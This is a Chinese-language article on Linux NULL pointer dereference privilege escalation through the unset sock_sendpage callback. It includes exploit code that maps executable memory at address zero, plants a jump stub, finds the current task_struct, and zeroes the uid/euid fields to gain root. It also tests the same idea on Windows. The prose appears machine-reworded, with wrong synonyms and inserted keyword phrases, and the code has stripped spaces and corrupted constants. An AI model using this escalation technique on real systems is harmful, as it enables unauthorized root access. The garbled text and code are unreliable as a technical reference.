NULL表针通常都是应用于有效性检查的,虽然这儿面有一个约定俗成的规则,就是说无效表针并不一定是NULL,只是为了简单起见,规则约定只要表针无效了就将之设置为NULL,结果就是NULL这个表针被拿来测量表针有效性,于是它就不能用作其它了,而实际上NULL就是0,代表了数值编号为0的一个显存地址,摒弃那种约定,它和别的addr没有任何区别,简单的说,完全可以选择一个其它的地址作为表针有效性检查,例如0x1234等等,不选其它地址的诱因就是第一,NULL比较好记忆,第二,因为NULL就是0,因而很容易进行布尔判别。请看下边的程序:
voidnull_func()
printf("aaaaaaaaaaaaaaaaaaaaaaaaaa/n");
voidmap_and_call_null()
char*addr=NULL;
addr=mmap(NULL,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0);
addr[0]='/xff';
addr[1]='/x25';
*(unsignedint*)&addr[2]=6;
*(unsignedlong*)&addr[6]=(unsignedlong)&null_func;
void(*aaa)();
aaa=NULL;//设置为NULL
(*aaa)();
intmain(void)
map_and_call_null(NULL);
结果成功复印出了一片a,这就说明NULL是可以作为一个正常的地址来使用的linux安装,这么一来就出现了一个漏洞,虽然根据理论上讲除非你把NULL地址的显存的访问权限完全封死,要不然这个漏洞就是难以填补的,只能通过程序员自己来负责了。而完全封死NULL又不符合设计规范,用户空间的进程显存是可以被该进程自由访问的,任何机构都没有权利封死一块显存的访问权限,既然不能封死NULL,这么根据规则和编译器的特点内核中的表针在初始化的时侯都被初始化成了NULL,假如前面没有再被赋于正确的值,这么它将仍然是NULL,假如此时有一个执行绪没有检测NULL表针直接调用了一个可能是NULL的反弹函数,这么只要在NULL地址处映射着的代码都将被执行,而映射哪些代码全部是用户进程说了算的。于是乎在内核空间为了安全起见通常都将函数表针初始化为一个stub函数,之后在该stub中直接返回一个出错码,还有一种初始化方法就是初始化为一个0xcxc0000000表针,用户空间是难以访问内核空间的,因而就不能往这个地址映射任何东西,内核空间和用户空间完全分治。
现今的内核普遍采用了stub函数的初始化方法,并且总是有一些例外,正如漏洞描述上所说的,并不是所有的事情都符合这个约定的,因而就存在有一些函数没有被初始化为stub的,socket的file_operations中的sendpage就是其中之一,它实现如下:
staticssize_tsock_sendpage(structfile*file,...)
structsocket*sock;
intflags;
sock=file->private_data;
flags=!(file->f_flags&O_NONBLOCK)?0:MSG_DONTWAIT;
if(more)
flags|=MSG_MORE;
returnsock->ops->sendpage(sock,page,offset,size,flags);
假如碰上没有初始化sock->ops->sendpage为stub的情况,这么它就是NULL,假如对应的合同族根本没有用到这个反弹函数,这么它将仍然是NULL,于是乎只须要在用户空间将NULL地址处映射为更改uid或则euid的代码就可以从普通权限跳跃到root权限。并且这个漏洞额度借助并不像内核自尽式漏洞的借助这么简单。
因为代码是在用户空间注入的,所以就不能直接用内核空间的current宏了,必须通过内核栈来间接的得到当前进程的task_struct表针,虽然内核空间的current宏也是如此实现的,只不过在用户空间编译程序之前是不能动态使用内核数据结构的,这么当用户空间代码注入到内核之后(虽然没有注入内核,而是引导内核空间的执行绪调用用户空间的代码而已),自己根据current的实现方法再实现一个好了,这对内核爱好者应当不难:
staticinlineunsignedlongget_current_4k(void)
unsignedlongcurrent=0;
asmvolatile(
"movl%%esp,%0;"
:"=r"(current)
);
current=*(unsignedlong*)(current&0xfffffxfffff000);
if(current0xfffffxfffff000)
return0;
returncurrent;
找到了当前进程的task_struct,这么接出来就是找到其uid/euid数组而且修改之,怎样找到这种数组又是一个困局,由于在用户空间并不晓得该运行的内核的task_struct是如何实现的linux 内核 用户空间,因而只能通过特点来推测了,我们如今晓得的信息是当前进程的uid,euid以及uid,euid等数组在task_struct中的相对位置,就是说即使不晓得uid的绝对偏斜,然而晓得euid和uid的相对偏斜信息,这么一来就可以一个一个字节的搜索了,代码如下:
repeat:
current=(unsignedint*)orig_current;(由get_current_4k()得到)
while(((unsignedlong)current<(orig_current+0x1000-17))&&
(current[0]!=our_uid||current[1]!=our_uid||
current[2]!=our_uid||current[3]!=our_uid))
current++;
if((unsignedlong)current>=(orig_current+0x1000-17)){
if(orig_current==orig_current_4k){
orig_current=get_current_8k();
gotorepeat;
return;
got_root=1;
memset(current,0,sizeof(unsignedint)*8);//最终更改task_struct的uid信息
这么用NULL表针漏洞就可以从普通用户权限提高到root用户权限linux 论坛,而且这一招在windows上能够行得通呢?我们来做一个实验:
unsignedlongaddr=XXX;//随意一个0到64k的地址都可以,不妨设置为NULL
char*p=(char*)VirtualAlloc((LPVOID)addr,0x1000,MEM_COMMIT,PAGE_READONLY);
DWORDdwRequest;
BOOLb=VirtualProtect(p,0x1000,PAGE_READWRITE,&dwRequest);
经过上述的实验,发觉两个函数都失败了,为何呢?虽然在windows中明晰规定了一个64k大小的用户禁入区,也就是这个区域内的显存是不能访问的,这就防止了linux中的上述的漏洞问题,然而为什么linux不那么做呢?呵呵,linux不将NULL封死就是由于机制和策略相分离的原则linux 内核 用户空间,操作系统内核给予用户空间最大的自由,不规定显存如何映射,随意如何映射都可以。假如非要说linux的NULL表针没有封死是个潜在的漏洞,那也只能说该漏洞是内核路径没有严格验证表针是否为NULL造成的而不是NULL本身造成的,须要做的不是封死NULL,而是在有漏洞的地方加上NULL判定